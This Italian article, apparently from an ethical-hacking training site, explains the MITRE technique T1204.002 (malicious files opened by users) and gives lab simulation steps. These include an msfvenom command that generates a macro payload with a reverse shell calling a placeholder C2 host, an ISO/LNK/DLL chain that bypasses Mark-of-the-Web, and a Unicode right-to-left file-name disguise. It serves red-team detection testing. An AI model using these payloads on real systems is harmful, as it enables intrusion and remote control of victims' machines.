File Malevoli e Ingegneria Sociale: Malicious File (T1204.002)

La tecnica Malicious File descrive uno degli schemi di attacco più persistenti e trasversali del panorama cyber: l'avversario confeziona un file dannoso — documento Office, PDF, archivio compresso, file LNK, immagine disco ISO — e si affida all'interazione dell'utente per ottenere l'esecuzione di codice. La tecnica rientra nella tattica Execution (TA0002), ovvero la fase in cui l'attaccante punta a eseguire il proprio codice malevolo sul sistema bersaglio.

La portata operativa di questa tecnica è impressionante: 84 gruppi APT documentati, 90 famiglie software e 11 campagne distinte la impiegano, a dimostrazione di quanto sia universale il principio alla base — convincere un essere umano a fare doppio clic. Le varianti sono molteplici: macro Word che richiedono il classico "Enable Content", eseguibili mascherati da aggiornamenti Flash o installer legittimi, file LNK nascosti dentro immagini ISO, script VBS annidati in archivi protetti da password. La superficie di attacco non si limita al phishing iniziale: lo stesso meccanismo viene sfruttato anche per lo spostamento laterale, quando un file malevolo viene depositato in una cartella condivisa o sul desktop di un collega, sperando nell'apertura spontanea.

Le 3 mitigazioni censite spaziano dalla prevenzione dell'esecuzione tramite application control, al monitoraggio comportamentale degli endpoint, fino alla formazione dell'utente — l'anello umano che resta il primo e ultimo punto di fallimento.

La simulazione di Malicious File in laboratorio è un esercizio fondamentale per testare la resilienza della catena di detection: mail gateway, sandbox, EDR ed endpoint ASR rules devono tutti reagire. L'obiettivo del red teamer non è esfiltrare dati, ma verificare quanti strati difensivi rilevano e bloccano l'esecuzione.

Documenti Office con macro malevole. Il punto di partenza classico è un documento Word con macro VBA che lancia un processo figlio. Con msfvenom (open source, parte di Metasploit Framework) si genera un payload VBA da incollare nel modulo macro:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP-C2> LPORT=443 -f vba-psh -o macro_payload.vba

Il file .docm risultante va testato con macro abilitate: il SOC dovrebbe osservare WINWORD.EXE che genera powershell.exe o cmd.exe. Per scenari più sofisticati, Villain (open source) offre la generazione di payload HTA e stager personalizzati che emulano catene di esecuzione reali.

Catene ISO → LNK → DLL. Questa tecnica, resa celebre da campagne come quella di EXOTIC LILY con file ISO contenenti LNK nascosti, si replica facilmente. Si crea un'immagine ISO con mkisofs (open source) contenente un file LNK che punta a rundll32.exe per caricare una DLL malevola co-residente:

mkisofs -o payload.iso -J -R /tmp/iso_staging/

All'interno della directory di staging si posizionano il file LNK (creabile con pylnk3, open source) e una DLL di test generata con msfvenom. Il doppio clic sul LNK dentro l'ISO montata in Windows bypassa il Mark-of-the-Web, un aspetto critico da validare.

File mascherati e doppia estensione. Per testare i filtri basati su estensione, si possono creare eseguibili con naming ingannevole sfruttando il carattere Unicode Right-to-Left Override (RLE). Un semplice test consiste nel rinominare un eseguibile inserendo il carattere U+202E nel nome: il file apparirà con estensione .pdf nell'Explorer pur essendo un .exe.

Payload macOS. Per ambienti Apple, Mythic (open source) con l'agente Poseidon o Apfell permette di generare applicazioni .app camuffate o DMG malevoli, replicando scenari analoghi a quelli documentati per OSX/Shlayer e Bundlore.

Come validazione finale, si verifica la catena con Atomic Red Team (open source): il test T1204.002 contiene diversi atomics che simulano l'apertura di documenti con macro e l'esecuzione da percorsi utente tipici.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo